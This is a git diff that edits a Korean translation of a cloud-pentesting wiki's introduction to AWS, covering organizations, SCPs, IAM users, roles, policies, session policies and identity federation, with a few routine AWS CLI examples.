프레임워크로, 사용자가 정의한 데이터 소스 및 경고 논리를 사용하여 **데이터를 수집, 분석 및 경고**할 수 있도록 합니다. 컴퓨터 보안 팀은 StreamAlert를 사용하여 매일 수 테라바이트의 로그 데이터를 스캔하여 사건 탐지 및 대응을 수행합니다. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert는 서버리스 **실시간** 데이터 분석 프레임워크로, 사용자가 정의한 데이터 소스 및 경고 논리를 사용하여 **데이터를 수집, 분석 및 경고**할 수 있도록 합니다. 컴퓨터 보안 팀은 StreamAlert를 사용하여 매일 테라바이트의 로그 데이터를 스캔하여 사건 탐지 및 대응을 수행합니다. ## DEBUG: AWS cli 요청 캡처 ```bash @@ -357,7 +357,7 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` -## References +## 참고문헌 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 4d5be5dfe..b1fdf370e 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -10,11 +10,11 @@ AWS에는 **루트 계정**이 있으며, 이는 **조직의 모든 계정에 대한 부모 컨테이너**입니다. 그러나 리소스를 배포하기 위해 해당 계정을 사용할 필요는 없으며, **다른 계정을 생성하여 서로 다른 AWS** 인프라를 분리할 수 있습니다. -이는 **보안** 관점에서 매우 흥미롭습니다. **하나의 계정은 다른 계정의 리소스에 접근할 수 없습니다** (특별히 브리지가 생성되지 않는 한), 따라서 이 방법으로 배포 간의 경계를 만들 수 있습니다. +이는 **보안** 관점에서 매우 흥미로운데, **하나의 계정은 다른 계정의 리소스에 접근할 수 없기 때문**입니다(특별히 브리지가 생성되지 않는 한). 따라서 배포 간에 경계를 만들 수 있습니다. -따라서 조직에는 **두 가지 유형의 계정**이 있습니다 (우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다. +따라서 조직에는 **두 가지 유형의 계정**이 있습니다(우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다. -- **관리 계정 (루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다: +- **관리 계정(루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다: - 조직 내에서 계정 생성 - 다른 기존 계정을 조직에 초대 @@ -26,21 +26,21 @@ AWS에는 **루트 계정**이 있으며, 이는 **조직의 모든 계정에 관리 계정은 **지불 계정의 책임**을 지며, 멤버 계정에서 발생하는 모든 요금을 지불할 책임이 있습니다. 조직의 관리 계정을 변경할 수 없습니다. -- **멤버 계정**은 조직 내의 나머지 모든 계정을 구성합니다. 계정은 한 번에 하나의 조직의 멤버일 수 있습니다. 계정에 정책을 부착하여 해당 계정에만 제어를 적용할 수 있습니다. +- **멤버 계정**은 조직 내의 나머지 모든 계정을 구성합니다. 계정은 한 번에 하나의 조직의 멤버일 수 있습니다. 계정에 정책을 연결하여 해당 계정에만 제어를 적용할 수 있습니다. - 멤버 계정은 **유효한 이메일 주소를 사용해야 하며** **이름**을 가질 수 있으며, 일반적으로 청구를 관리할 수는 없지만 접근 권한이 부여될 수 있습니다. ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` ### **조직 단위** -계정은 **조직 단위(OU)**로 그룹화할 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이 정책은 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다. +계정을 **조직 단위(OU)**로 그룹화할 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이 정책은 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -A **service control policy (SCP)**는 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스와 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **SCP는 구성원 계정의 엔티티에 대한 권한을 제한합니다**. +**서비스 제어 정책(SCP)**은 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스와 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **SCP가 구성원 계정의 엔터티에 대한 권한을 제한합니다**. 이것은 **루트 사용자조차도 무언가를 하는 것을 막을 수 있는 유일한 방법**입니다. 예를 들어, 사용자가 CloudTrail을 비활성화하거나 백업을 삭제하는 것을 막는 데 사용할 수 있습니다.\ 이를 우회하는 유일한 방법은 SCP를 구성하는 **마스터 계정**도 손상시키는 것입니다(마스터 계정은 차단할 수 없습니다). @@ -55,21 +55,21 @@ SCP 예시: - 화이트리스트에 있는 서비스만 허용 - GuardDuty, CloudTrail 및 S3 공개 차단 액세스 비활성화를 거부 -- 보안/사고 대응 역할이 삭제되거나 수정되는 것을 거부합니다. +- 보안/사고 대응 역할이 삭제되거나 수정되는 것을 거부. -- 백업이 삭제되는 것을 거부합니다. -- IAM 사용자 및 액세스 키 생성을 거부합니다. +- 백업이 삭제되는 것을 거부. +- IAM 사용자 및 액세스 키 생성을 거부. **JSON 예시**는 [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)에서 확인하세요. ### ARN -**Amazon Resource Name**은 AWS 내의 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다: +**아마존 리소스 이름**은 AWS 내의 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Note that there are 4 partitions in AWS but only 3 ways to call them: +AWS에는 4개의 파티션이 있지만 이를 호출하는 방법은 3가지뿐입니다: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -81,26 +81,26 @@ Note that there are 4 partitions in AWS but only 3 ways to call them: IAM은 AWS 계정 내에서 **인증**, **권한 부여** 및 **액세스 제어**를 관리할 수 있게 해주는 서비스입니다. - **인증** - 신원을 정의하고 그 신원을 검증하는 과정입니다. 이 과정은 식별 및 검증으로 세분화될 수 있습니다. -- **권한 부여** - 신원이 시스템에 인증된 후 시스템 내에서 어떤 리소스에 접근할 수 있는지를 결정합니다. -- **액세스 제어** - 안전한 리소스에 대한 액세스가 어떻게 부여되는지를 정의하는 방법과 과정입니다. +- **권한 부여** - 인증된 후 시스템 내에서 신원이 접근할 수 있는 것을 결정합니다. +- **액세스 제어** - 안전한 리소스에 대한 액세스가 부여되는 방법과 과정입니다. IAM은 AWS 계정 내 리소스에 대한 신원의 인증, 권한 부여 및 액세스 제어 메커니즘을 관리, 제어 및 통치하는 능력으로 정의될 수 있습니다. ### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Amazon Web Services (AWS) 계정을 처음 생성하면 **모든** AWS 서비스와 리소스에 **완전한 접근 권한**을 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**. +Amazon Web Services (AWS) 계정을 처음 생성하면 **모든** AWS 서비스와 리소스에 **완전한 액세스**를 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**. 새로운 **관리자 사용자**는 **루트 사용자보다 권한이 적습니다**. -보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 권장됩니다. +보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 좋습니다. ### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) IAM _사용자_는 AWS에서 **사람이나 애플리케이션을 나타내기 위해 생성하는 엔티티**입니다. AWS의 사용자는 이름과 자격 증명(비밀번호 및 최대 두 개의 액세스 키)으로 구성됩니다. -IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 그룹의 구성원**으로 만들어 **권한**을 부여하거나, **정책을 사용자에게 직접 첨부**하여 권한을 부여합니다. +IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 그룹의 구성원**으로 만들어 **권한**을 부여하거나 **정책을 직접 사용자에게 첨부**하여 권한을 부여합니다. -사용자는 콘솔을 통해 **MFA로 로그인할 수 있습니다**. MFA가 활성화된 사용자의 API 토큰은 MFA로 보호되지 않습니다. **MFA를 사용하여 사용자의 API 키 접근을 제한**하려면, 특정 작업을 수행하기 위해 MFA가 필요하다는 것을 정책에 명시해야 합니다 (예시 [**여기**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +사용자는 콘솔을 통해 **MFA로 로그인할 수 있습니다**. MFA가 활성화된 사용자의 API 토큰은 MFA로 보호되지 않습니다. **MFA를 사용하여 사용자 API 키의 액세스를 제한**하려면 특정 작업을 수행하기 위해 MFA가 필요하다는 것을 정책에 명시해야 합니다 (예시 [**여기**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI @@ -112,16 +112,16 @@ IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 ### MFA - Multi Factor Authentication -기존의 방법(예: 비밀번호) 외에 **인증을 위한 추가 요소를 생성**하는 데 사용되며, 따라서 다중 요소 인증 수준을 생성합니다.\ -**무료 가상 애플리케이션이나 물리적 장치**를 사용할 수 있습니다. Google 인증기와 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다. +기존 방법(예: 비밀번호) 외에 **인증을 위한 추가 요소를 생성**하는 데 사용되며, 따라서 다중 요소 인증 수준을 생성합니다.\ +**무료 가상 애플리케이션 또는 물리적 장치**를 사용할 수 있습니다. Google 인증기와 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다. MFA 조건이 있는 정책은 다음에 첨부될 수 있습니다: - IAM 사용자 또는 그룹 - Amazon S3 버킷, Amazon SQS 큐 또는 Amazon SNS 주제와 같은 리소스 -- 사용자가 가정할 수 있는 IAM 역할의 신뢰 정책 +- 사용자가 맡을 수 있는 IAM 역할의 신뢰 정책 -**CLI를 통해** MFA를 **확인하는 리소스에 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\ +**MFA를 확인하는** 리소스에 **CLI를 통해 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\ **`AssumeRole` 자격 증명에는 이 정보가 포함되어 있지 않습니다**. ```bash aws sts get-session-token --serial-number --token-code @@ -130,7 +130,7 @@ As [**여기서 언급된 바와 같이**](https://docs.aws.amazon.com/IAM/lates ### [IAM 사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)은 **여러 사용자에게 정책을 한 번에 연결하는** 방법으로, 이러한 사용자의 권한을 관리하기 쉽게 만들어 줍니다. **역할과 그룹은 그룹의 일부가 될 수 없습니다**. +IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)은 **여러 사용자에게 정책을 동시에 연결하는** 방법으로, 이러한 사용자의 권한을 관리하기 쉽게 만들어 줍니다. **역할과 그룹은 그룹의 일부가 될 수 없습니다**. **사용자 그룹에 신원 기반 정책을 연결**할 수 있어, 사용자 그룹의 **모든 사용자**가 **정책의 권한을 받게** 됩니다. **정책**(예: 리소스 기반 정책)에서 **`Principal`**로 **사용자 그룹**을 식별할 수 **없습니다**. 그룹은 인증이 아닌 권한과 관련이 있으며, 주체는 인증된 IAM 엔터티입니다. @@ -139,13 +139,13 @@ IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_group - 사용자 **그룹**은 **많은 사용자**를 **포함할 수 있으며**, **사용자**는 **여러 그룹에 속할 수 있습니다**. - **사용자 그룹은 중첩될 수 없습니다**; 사용자만 포함할 수 있으며, 다른 사용자 그룹은 포함할 수 없습니다. - **AWS 계정의 모든 사용자를 자동으로 포함하는 기본 사용자 그룹은 없습니다**. 그런 사용자 그룹을 원하면, 직접 생성하고 각 새로운 사용자를 할당해야 합니다. -- AWS 계정의 IAM 리소스 수(예: 그룹 수)와 사용자가 속할 수 있는 그룹 수는 제한되어 있습니다. 자세한 내용은 [IAM 및 AWS STS 할당량](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)을 참조하세요. +- AWS 계정의 IAM 리소스 수, 즉 그룹 수와 사용자가 속할 수 있는 그룹 수는 제한되어 있습니다. 자세한 내용은 [IAM 및 AWS STS 할당량](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)을 참조하십시오. ### [IAM 역할](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 특정 개인과 고유하게 연결되는 것이 아니라, **필요한 사람 누구나(충분한 권한이 있는 경우)** **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해 임시로** 다른 권한을 취득하기 위해 역할을 가정할 수 있습니다. 역할은 IAM 대신 외부 신원 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**. +IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 특정 개인과 고유하게 연결되는 것이 아니라, **필요한 누구나(충분한 권한이 있는 경우)** **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해 임시로** 다른 권한을 취득하기 위해 역할을 가정할 수 있습니다. 역할은 IAM 대신 외부 신원 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**. -IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **신뢰 정책**, 비어 있을 수 없으며 **누가 역할을 가정할 수 있는지를 정의하고**, **권한 정책**, 비어 있을 수 없으며 **무엇에 접근할 수 있는지를 정의합니다**. +IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **신뢰 정책**(비어 있을 수 없음)으로 **누가 역할을 가정할 수 있는지를 정의**하고, **권한 정책**(비어 있을 수 없음)으로 **무엇에 접근할 수 있는지를 정의**합니다. #### AWS 보안 토큰 서비스 (STS) @@ -162,10 +162,10 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명** 권한을 할당하는 데 사용됩니다. 두 가지 유형이 있습니다: - AWS 관리형 정책 (AWS에서 미리 구성) -- 고객 관리형 정책: 사용자가 구성합니다. AWS 관리형 정책을 기반으로 정책을 생성할 수 있습니다(그 중 하나를 수정하고 자신의 것을 생성), 정책 생성기(권한 부여 및 거부를 돕는 GUI 보기)를 사용하거나 직접 작성할 수 있습니다. +- 고객 관리형 정책: 사용자가 구성. AWS 관리형 정책을 기반으로 정책을 생성할 수 있습니다(그 중 하나를 수정하고 자신만의 정책을 생성), 정책 생성기를 사용하거나(권한을 부여하고 거부하는 데 도움을 주는 GUI 보기) 직접 작성할 수 있습니다. -**기본적으로 접근은** **거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\ -**단일 "거부"가 존재하면, "허용"을 무시합니다**, AWS 계정의 루트 보안 자격 증명을 사용하는 요청은 기본적으로 허용됩니다. +기본적으로 **접근이 거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\ +**단일 "거부"가 존재하면 "허용"을 무시합니다**, AWS 계정의 루트 보안 자격 증명을 사용하는 요청은 기본적으로 허용됩니다. ```javascript { "Version": "2012-10-17", //Version of the policy @@ -188,33 +188,33 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명** ] } ``` -The [전 세계에서 모든 서비스에 대한 조건으로 사용할 수 있는 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[모든 서비스에서 조건으로 사용할 수 있는 전역 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ [서비스별로 조건으로 사용할 수 있는 특정 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). #### 인라인 정책 -이러한 종류의 정책은 **사용자, 그룹 또는 역할에 직접 할당됩니다**. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\ -인라인 정책은 **정책과 적용되는 신원 간의 엄격한 일대일 관계를 유지하고자 할 때 유용합니다**. 예를 들어, 정책의 권한이 의도된 신원 외의 신원에 우연히 할당되지 않도록 확실히 하고 싶습니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 신원에 우연히 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 신원을 삭제할 때, 신원에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다. +이러한 종류의 정책은 **사용자, 그룹 또는 역할에 직접 할당**됩니다. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\ +인라인 정책은 **정책과 적용되는 정체성 간의 엄격한 일대일 관계를 유지**하고자 할 때 유용합니다. 예를 들어, 정책의 권한이 의도된 정체성 외의 다른 정체성에 우발적으로 할당되지 않도록 하려는 경우입니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 정체성에 우발적으로 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 정체성을 삭제할 때, 정체성에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다. #### 리소스 버킷 정책 -이것은 **리소스에서 정의할 수 있는 정책**입니다. **모든 AWS 리소스가 이를 지원하는 것은 아닙니다**. +이것은 **리소스**에서 정의할 수 있는 **정책**입니다. **모든 AWS 리소스가 이를 지원하는 것은 아닙니다**. 주체가 이에 대한 명시적인 거부가 없고, 리소스 정책이 그들에게 접근을 허용하면, 그들은 허용됩니다. ### IAM 경계 -IAM 경계는 **사용자 또는 역할이 접근할 수 있는 권한을 제한하는 데 사용할 수 있습니다**. 이렇게 하면, 다른 정책에 의해 사용자에게 다른 권한 세트가 부여되더라도, 그가 이를 사용하려고 할 경우 작업이 **실패**합니다. +IAM 경계는 **사용자 또는 역할이 접근할 수 있는 권한을 제한하는 데 사용**될 수 있습니다. 이렇게 하면, **다른 정책**에 의해 사용자에게 다른 권한 세트가 부여되더라도, 그가 이를 사용하려고 할 경우 작업이 **실패**합니다. -경계는 사용자에게 연결된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서, **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다. +경계는 사용자에게 첨부된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서, **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다. -**이것**, **SCPs** 및 **최소 권한 원칙을 따르는 것**은 사용자가 필요 이상으로 많은 권한을 가지지 않도록 제어하는 방법입니다. +**이것**과 **SCP** 및 **최소 권한 원칙**을 따르는 것은 사용자가 필요 이상으로 많은 권한을 가지지 않도록 제어하는 방법입니다. ### 세션 정책 -세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계와 같습니다**: 이는 세션 정책이 권한을 부여하지 않고 **정책에 명시된 권한으로 제한한다는 것을 의미합니다** (최대 권한은 역할이 가진 권한입니다). +세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계**와 같습니다: 즉, 세션 정책은 권한을 부여하지 않지만 **정책에 명시된 권한으로 제한합니다**(최대 권한은 역할이 가진 권한입니다). -이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우 세션 정책에 명시된 권한만으로 제한할 수 있습니다. +이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우를 대비하여 세션 정책에 명시된 권한만으로 제한할 수 있습니다. ```bash aws sts assume-role \ --role-arn \ @@ -222,74 +222,74 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +기본적으로 **AWS는 세션을 생성할 때 세션 정책을 추가할 수 있습니다**. 예를 들어, [인증되지 않은 cognito 가정 역할](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)에서는 기본적으로 (향상된 인증을 사용하여) AWS가 **세션 정책이 포함된 세션 자격 증명**을 생성하여 해당 세션이 접근할 수 있는 서비스의 범위를 제한합니다 [**다음 목록으로**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -따라서, 만약 어느 시점에 "... because no session policy allows the ..."라는 오류에 직면하게 된다면, 그리고 역할이 해당 작업을 수행할 수 있는 접근 권한이 있다면, 이는 **세션 정책이 이를 방지하고 있기 때문입니다**. +따라서 "... 세션 정책이 ...을 허용하지 않기 때문에"라는 오류에 직면하게 되면, 역할이 해당 작업을 수행할 수 있는 접근 권한이 있음에도 불구하고 **세션 정책이 이를 방지하고 있는 것입니다**. -### Identity Federation +### 아이덴티티 연합 -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -Identity provider의 예로는 귀사의 **Microsoft Active Directory** (via **SAML**) 또는 **OpenID** 서비스 (like **Google**)가 있습니다. 연합된 접근은 그 안의 사용자들이 AWS에 접근할 수 있도록 합니다. +아이덴티티 연합은 **AWS 외부의 아이덴티티 제공자에서 오는 사용자들이** AWS 리소스에 안전하게 접근할 수 있도록 하며, 유효한 IAM 사용자 계정의 AWS 사용자 자격 증명을 제공할 필요가 없습니다.\ +아이덴티티 제공자의 예로는 귀사의 **Microsoft Active Directory** (via **SAML**) 또는 **OpenID** 서비스 (예: **Google**)가 있습니다. 연합된 접근은 그 안의 사용자들이 AWS에 접근할 수 있도록 합니다. -이 신뢰를 구성하기 위해, **IAM Identity Provider가 생성됩니다 (SAML 또는 OAuth)**, 이는 **다른 플랫폼을 신뢰합니다**. 그런 다음, 적어도 하나의 **IAM 역할이 Identity Provider에 (신뢰하는) 할당됩니다**. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 그는 언급된 역할로 접근하게 됩니다. +이 신뢰를 구성하기 위해 **IAM 아이덴티티 제공자(SAML 또는 OAuth)**가 생성되어 **다른 플랫폼을 신뢰**합니다. 그런 다음, 최소한 하나의 **IAM 역할이 아이덴티티 제공자에 (신뢰하는) 할당됩니다**. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 언급된 역할로 접근하게 됩니다. -그러나 일반적으로는 **제3자 플랫폼의 사용자 그룹에 따라 다른 역할을 부여하고 싶을 것입니다**. 그런 다음, 여러 **IAM 역할이 제3자 Identity Provider를 신뢰할 수 있으며**, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 맡도록 허용하는 역할을 하게 됩니다. +그러나 일반적으로는 **제3자 플랫폼의 사용자 그룹에 따라 다른 역할을 부여하고자 할 것입니다**. 따라서 여러 **IAM 역할이** 제3자 아이덴티티 제공자를 신뢰할 수 있으며, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 가정하도록 허용하는 역할을 하게 됩니다.
-### IAM Identity Center +### IAM 아이덴티티 센터 -AWS IAM Identity Center (AWS Single Sign-On의 후속 제품)는 AWS Identity and Access Management (IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근을 **중앙에서 관리할 수 있는 장소**를 제공합니다. +AWS IAM 아이덴티티 센터(AWS Single Sign-On의 후속 제품)는 AWS 아이덴티티 및 접근 관리(IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근 관리를 통합하는 **중앙 장소**를 제공합니다. 로그인 도메인은 `.awsapps.com`과 같은 형식이 될 것입니다. -사용자를 로그인시키기 위해 사용할 수 있는 3가지 신원 소스가 있습니다: +사용자를 로그인시키기 위해 사용할 수 있는 3가지 아이덴티티 소스가 있습니다: -- Identity Center Directory: 일반 AWS 사용자 -- Active Directory: 다양한 커넥터 지원 -- External Identity Provider: 모든 사용자 및 그룹이 외부 Identity Provider (IdP)에서 옵니다. +- 아이덴티티 센터 디렉토리: 일반 AWS 사용자 +- 액티브 디렉토리: 다양한 커넥터 지원 +- 외부 아이덴티티 제공자: 모든 사용자 및 그룹이 외부 아이덴티티 제공자(IdP)에서 옵니다.
-Identity Center 디렉토리의 가장 간단한 경우, **Identity Center는 사용자 및 그룹 목록을 가지며** 이들에게 **정책을 할당할 수 있습니다** **조직의 모든 계정에 대해**. +아이덴티티 센터 디렉토리의 가장 간단한 경우, **아이덴티티 센터는 사용자 및 그룹 목록을 보유하고** 있으며, **정책을 할당**하여 **조직의 모든 계정**에 적용할 수 있습니다. -Identity Center 사용자/그룹이 계정에 접근할 수 있도록 하려면, **Identity Center를 신뢰하는 SAML Identity Provider가 생성되고**, **지정된 정책을 가진 Identity Provider를 신뢰하는 역할이 대상 계정에 생성됩니다**. +아이덴티티 센터 사용자/그룹에게 계정에 대한 접근을 부여하기 위해 **아이덴티티 센터를 신뢰하는 SAML 아이덴티티 제공자가 생성되고**, **지정된 정책을 가진 아이덴티티 제공자를 신뢰하는 역할이 대상 계정에 생성됩니다**. #### AwsSSOInlinePolicy -**IAM Identity Center를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS Identity Center에서 **인라인 정책을 가진 계정에 생성된 역할은** **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다. +**IAM 아이덴티티 센터를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS 아이덴티티 센터에서 **인라인 정책을 가진 역할**이 생성된 계정은 **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다. -따라서, **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, 이는 **동일한 권한을 가진다는 것을 의미하지 않습니다**. +따라서 **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, **동일한 권한을 가진다는 의미는 아닙니다**. -### Cross Account Trusts and Roles +### 크로스 계정 신뢰 및 역할 -**사용자** (신뢰하는)는 일부 정책을 가진 Cross Account Role을 생성한 다음, **다른 사용자** (신뢰받는)가 **그의 계정에 접근할 수 있도록 허용할 수 있습니다**. 그러나 **새 역할 정책에 명시된 접근만 허용됩니다**. 이를 생성하려면, 새 역할을 생성하고 Cross Account Role을 선택하면 됩니다. Cross-Account Access를 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 제공합니다.\ -**신뢰받는 사용자를 명시하고 일반적인 것을 넣지 않는 것이 권장됩니다**, 그렇지 않으면 연합된 사용자와 같은 다른 인증된 사용자가 이 신뢰를 남용할 수 있습니다. +**사용자**(신뢰하는)는 일부 정책을 가진 크로스 계정 역할을 생성한 다음, **다른 사용자**(신뢰받는)가 **그의 계정에 접근할 수 있도록 허용할 수 있습니다**. 그러나 **새 역할 정책에 명시된 접근만 허용됩니다**. 이를 생성하려면 새 역할을 만들고 크로스 계정 역할을 선택하면 됩니다. 크로스 계정 접근을 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 